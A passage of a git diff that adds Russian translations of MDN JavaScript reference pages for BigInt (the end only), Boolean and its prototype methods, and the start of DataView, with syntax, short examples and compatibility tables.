+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+</pre>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt/BigInt">BigInt()</a></code></dt>
+ <dd>Создаёт объект {{jsxref("BigInt")}}.</dd>
+</dl>
+
+<h2 id="Статические_методы">Статические методы</h2>
+
+<dl>
+ <dt>{{JSxRef("BigInt.asIntN()")}}</dt>
+ <dd>Оборачивает BigInt в пределах от -2<sup>width-1</sup> до 2<sup>width-1</sup>-1</dd>
+ <dt>{{JSxRef("BigInt.asUintN()")}}</dt>
+ <dd>Оборачивает a BigInt в пределах от 0 до 2<sup>width</sup>-1</dd>
+</dl>
+
+<h2 id="Методы_экземпляра">Методы экземпляра</h2>
+
+<dl>
+ <dt>{{JSxRef("BigInt.prototype.toLocaleString()")}}</dt>
+ <dd>Возвращает строку с языко-зависимым представлением числа. Переопредедяет метод {{JSxRef("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{JSxRef("BigInt.prototype.toString()")}}</dt>
+ <dd>Возвращает строку, представляющую указанный объект по указанному основанию системы счисления. Переопределяет метод {{JSxRef("Object.prototype.toString()")}}.</dd>
+ <dt>{{JSxRef("BigInt.prototype.valueOf()")}}</dt>
+ <dd>Возвращает примитивное значение указанного объекта. Переопределяет метод {{JSxRef("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Рекомендации_по_использованию">Рекомендации по использованию</h2>
+
+<h3 id="Приведение">Приведение</h3>
+
+<p>Поскольку приведение между {{JSxRef("Number")}} и <code>BigInt</code> может привести к потере точности, рекомендуется использовать<code> BigInt</code> только тогда, когда разумно ожидаются значения, превышающие 2<sup>53</sup> и не приводить между двумя типами.</p>
+
+<h3 id="Криптография">Криптография</h3>
+
+<p>Операции поддерживаемые <code>BigInt</code> не постоянны во времени. <code>BigInt</code> следовательно <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">не пригоден для использования в криптографии</a>.</p>
+
+<h3 id="Использование_вместе_с_JSON">Использование вместе с JSON</h3>
+
+<p>Использование {{jsxref("JSON.stringify()")}} с любым значением типа <code>BigInt</code> приведёт к <code>TypeError</code>, поскольку значения <code>BigInt</code> не преобразуется в JSON по умолчанию, однако вы можете реализовать свой собственный метод <code>toJSON</code>, если вам необходимо:</p>
+
+<pre class="brush: js">BigInt.prototype.toJSON = function() { return this.toString() }
+</pre>
+
+<p>Теперь вместо ошибки, <code>JSON.stringify</code> будет создавать строку:</p>
+
+<pre class="brush: js">JSON.stringify(BigInt(1))
+// '"1"'
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Расчет_простых_чисел">Расчет простых чисел</h3>
+
+<pre class="brush: js">// Возвращает true, если BigInt — простое число
+function isPrime(p) {
+  for (let i = 2n; i * i &lt;= p; i++) {
+    if (p % i === 0n) return false;
+  }
+  return true;
+}
+
+// Берет BigInt в качестве аргумента и возвращает BigInt
+function nthPrime(nth) {
+  let maybePrime = 2n;
+  let prime = 0n;
+
+  while (nth &gt;= 0n) {
+    if (isPrime(maybePrime)) {
+      nth--;
+      prime = maybePrime;
+    }
+    maybePrime++;
+  }
+
+  return prime;
+}
+
+nthPrime(20n)
+// ↪ 73n</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-bigint-objects", "<code>BigInt</code> objects")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.BigInt")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("Number")}}</li>
+ <li>{{JSxRef("Number.MAX_SAFE_INTEGER")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/boolean/index.html b/files/ru/web/javascript/reference/global_objects/boolean/index.html
new file mode 100644
index 0000000000..00d4637117
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/boolean/index.html
@@ -0,0 +1,200 @@
+---
+title: Boolean
+slug: Web/JavaScript/Reference/Global_Objects/Boolean
+tags:
+  - Boolean
+  - Constructor
+  - JavaScript
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef()}}</div>
+
+<p>Объект <strong><code>Boolean</code></strong> является объектом-обёрткой над примитивом логического типа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new Boolean([<var>value</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Необязательный параметр. Начальное значение объекта <code>Boolean</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Значение, переданное первым параметром, при необходимости преобразуется в логическое значение. Если значение опущено или равно <code>0</code>, <code>-0</code>, {{jsxref("Global_Objects/null", "null")}}, <code>false</code>, {{jsxref("Global_Objects/NaN", "NaN")}}, {{jsxref("Global_Objects/undefined", "undefined")}} или пустой строке (<code>""</code>), объект имеет начальное значение, равное <code>false</code>. Все остальные значения, включая любые объекты или строку <code>"false"</code>, создают объект с начальным значением, равным <code>true</code>.</p>
+
+<p>Не путайте примитивные значения <code>true</code> и <code>false</code> логического типа со значениями <code>true</code> и <code>false</code> объекта <code>Boolean</code>.</p>
+
+<p>Любой объект, чьё значение не является равным {{jsxref("Global_Objects/undefined", "undefined")}} или {{jsxref("Global_Objects/null", "null")}}, включая сам объект <code>Boolean</code> со значением, равным <code>false</code>, вычисляется в <code>true</code> при передаче его в условное выражение. Например, условие в следующей инструкции {{jsxref("Statements/if...else", "if")}} вычисляется в <code>true</code>:</p>
+
+<pre class="brush: js">var x = new Boolean(false);
+if (x) {
+  // этот код будет выполнен
+}
+</pre>
+
+<p>Это поведение не применяется к примитивам логического типа. Например, условие в следующей инструкции {{jsxref("Statements/if...else", "if")}} вычисляется в <code>false </code>:</p>
+
+<pre class="brush: js">var x = false;
+if (x) {
+  // этот код не будет выполнен
+}
+</pre>
+
+<p>Не используйте объект <code>Boolean</code> для преобразования нелогического значения в логическое значение. Вместо этого используйте <code>Boolean</code> в качестве функции:</p>
+
+<pre class="brush: js">var x = Boolean(expression);     // предпочтительно
+var x = new Boolean(expression); // не используйте
+</pre>
+
+<p>Если вы определите любой объект, включая объект <code>Boolean</code> со значением <code>false</code>, в качестве начального значения объекта <code>Boolean</code>, новый объект <code>Boolean</code> будет иметь значение <code>true</code>.</p>
+
+<pre class="brush: js">var myFalse = new Boolean(false);    // начальное значение равно false
+var g = new Boolean(myFalse);        // начальное значение равно true
+var myString = new String('Привет'); // строковый объект
+var s = new Boolean(myString);       // начальное значение равно true
+</pre>
+
+<p>Не используйте объект <code>Boolean</code> вместо примитива логического типа.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>Boolean.length</code></dt>
+ <dd>Свойство <code>length</code> логического значения равно 1.</dd>
+ <dt>{{jsxref("Boolean.prototype")}}</dt>
+ <dd>Представляет прототип конструктора объекта <code>Boolean</code>.</dd>
+</dl>
+
+<p>{{jsOverrides("Function", "Properties", "prototype")}}</p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Глобальный объект <code>Boolean</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов:</p>
+
+<div>{{jsOverrides("Function", "Methods")}}</div>
+
+<h2 id="Boolean_instances" name="Boolean_instances">Экземпляры объекта <code>Boolean</code></h2>
+
+<p>Все экземпляры объекта <code>Boolean</code> наследуются от {{jsxref("Boolean.prototype")}}. Как и все конструкторы, объект прототипа предоставляет экземплярам свойства и методы.</p>
+
+<h3 id="Properties_2" name="Properties_2">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_2" name="Methods_2">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Creating_Boolean_objects_with_an_initial_value_of_false" name="Example:_Creating_Boolean_objects_with_an_initial_value_of_false">Пример: создание объектов <code>Boolean</code> с начальным значением, равным <code>false</code></h3>
+
+<pre class="brush: js">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean('');
+var bfalse = new Boolean(false);
+</pre>
+
+<h3 id="Example:_Creating_Boolean_objects_with_an_initial_value_of_true" name="Example:_Creating_Boolean_objects_with_an_initial_value_of_true">Пример: создание объектов <code>Boolean</code> с начальным значением, равным <code>true</code></h3>
+
+<pre class="brush: js">var btrue = new Boolean(true);
+var btrueString = new Boolean('true');
+var bfalseString = new Boolean('false');
+var bSuLin = new Boolean('Су Лин');
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Boolean.prototype")}}</li>
+ <li>{{Glossary("Boolean")}}</li>
+ <li><a href="https://ru.wikipedia.org/wiki/Логический_тип">Логический тип данных (Википедия)</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/boolean/prototype/index.html b/files/ru/web/javascript/reference/global_objects/boolean/prototype/index.html
new file mode 100644
index 0000000000..310a9768f3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/boolean/prototype/index.html
@@ -0,0 +1,112 @@
+---
+title: Boolean.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype
+tags:
+  - Boolean
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef("Global_Objects", "Boolean")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Boolean.prototype</code></strong> представляет прототип конструктора объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Экземпляры объекта {{jsxref("Global_Objects/Boolean", "Boolean")}} наследуются от <code>Boolean.prototype</code>. Вы можете использовать протитип конструктора объекта для добавления свойств или методов ко всем экземплярам объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>Boolean.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, создающую экземпляр прототипа. По умолчанию, это функция {{jsxref("Global_Objects/Boolean", "Boolean")}}.</dd>
+</dl>
+<div>{{jsOverrides("Object", "properties", "constructor")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает строку, содержащую исходный код объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}; вы можете использовать эту строку для создания эквивалентного объекта. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>Возвращает строку <code>"true"</code> или <code>"false"</code>, в зависимости от значения объекта. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>Возвращает примитивное значение объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}. Переопределяет метод {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+<div>{{jsOverrides("Object", "methods", "toSource", "toString", "valueOf")}}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/boolean/tosource/index.html b/files/ru/web/javascript/reference/global_objects/boolean/tosource/index.html
new file mode 100644
index 0000000000..164fc98bba
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/boolean/tosource/index.html
@@ -0,0 +1,92 @@
+---
+title: Boolean.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/toSource
+tags:
+  - Boolean
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource
+---
+<div>{{JSRef("Global_Objects", "Boolean")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toSource()</strong></code> возвращает строку, представляющую исходный код объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>booleanObj</var>.toSource()
+Boolean.toSource()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toSource</code> возвращает следующие значения:</p>
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/Boolean", "Boolean")}} метод <code>toSource</code> возвращает следующую строку, указывающую, что исходный код недоступен:
+<pre class="brush: js">function Boolean() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров класса {{jsxref("Global_Objects/Boolean", "Boolean")}} метод <code>toSource</code> возвращает строковое представление исходного кода.</li>
+</ul>
+<p>Этот метод обычно вызывается внутри движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/boolean/tostring/index.html b/files/ru/web/javascript/reference/global_objects/boolean/tostring/index.html
new file mode 100644
index 0000000000..abc713e318
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/boolean/tostring/index.html
@@ -0,0 +1,113 @@
+---
+title: Boolean.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+tags:
+  - Boolean
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+---
+<div>{{JSRef("Global_Objects", "Boolean")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toString()</strong></code> возвращает строковое представление указанного объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>bool</var>.toString()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объект {{jsxref("Global_Objects/Boolean", "Boolean")}} переопределяет метод <code>toString</code> объекта {{jsxref("Global_Objects/Object", "Object")}}; он не наследует метод {{jsxref("Object.prototype.toString()")}}. Для объектов {{jsxref("Global_Objects/Boolean", "Boolean")}} метод <code>toString</code> возвращает строковое представление объекта.</p>
+<p>JavaScript вызывает метод <code>toString</code> автоматически, когда объект {{jsxref("Global_Objects/Boolean", "Boolean")}} должен быть представлен в виде текста или когда объект {{jsxref("Global_Objects/Boolean", "Boolean")}} находится в контексте строковой конкатенации.</p>
+<p>Для объектов и значений {{jsxref("Global_Objects/Boolean", "Boolean")}} встроенный метод <code>toString</code> возвращает строки «<code>true</code>» или «<code>false</code>» в зависимости от значения логического объекта.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example.3A_Using_toString" name="Example.3A_Using_toString">Пример: использование <code>toString</code></h3>
+<p>В следующем коде вызов <code>flag.toString()</code> вернёт строку <code>"true"</code>:</p>
+<pre class="brush: js">var flag = new Boolean(true);
+var myVar = flag.toString();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.4.2', 'Boolean.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/boolean/valueof/index.html b/files/ru/web/javascript/reference/global_objects/boolean/valueof/index.html
new file mode 100644
index 0000000000..6b4ed81473
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/boolean/valueof/index.html
@@ -0,0 +1,111 @@
+---
+title: Boolean.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+tags:
+  - Boolean
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+---
+<div>{{JSRef("Global_Objects", "Boolean")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>valueOf()</strong></code> возвращает примитивное значение объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>bool</var>.valueOf()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>valueOf</code> объекта {{jsxref("Global_Objects/Boolean", "Boolean")}} возвращает примитивное значение объекта или литерала логического типа.</p>
+<p>Этот метод обычно вызывается внутри движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_valueOf" name="Example:_Using_valueOf">Пример: использование <code>valueOf</code></h3>
+<pre class="brush: js">x = new Boolean();
+myVar = x.valueOf(); // присваивает false переменной myVar
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.4.3', 'Boolean.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/dataview/index.html b/files/ru/web/javascript/reference/global_objects/dataview/index.html
new file mode 100644
index 0000000000..adf480e976
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/dataview/index.html
@@ -0,0 +1,122 @@
+---
+title: DataView
+slug: Web/JavaScript/Reference/Global_Objects/DataView
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p>Вид <strong><code>DataView</code></strong> предоставляет низко-уровневый интерфейс для чтения и записи многочисленных числовых типов в бинарном {{jsxref("ArrayBuffer")}}, независимо от порядка байтов платформы.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-constructor.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new DataView(buffer [, byteOffset [, byteLength]])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>buffer</code></dt>
+ <dd>Существующий {{jsxref("ArrayBuffer")}} или {{jsxref("SharedArrayBuffer")}} {{experimental_inline}} для использования как хранилище для нового объекта <code>DataView</code>.</dd>
+ <dt><code>byteOffset</code> {{optional_inline}}</dt>
+ <dd>Смещение в байтах к первому байту в заданном буфере. Если не определён, то вид буфера будет начинаться с первого байта.</dd>
+ <dt><code>byteLength</code> {{optional_inline}}</dt>
+ <dd>Количество элементов в массиве байтов. Если не определён, то длина вида будет соответствовать длине буфера.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый объект <code>DataView</code> представляющий определённый буфер данных.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
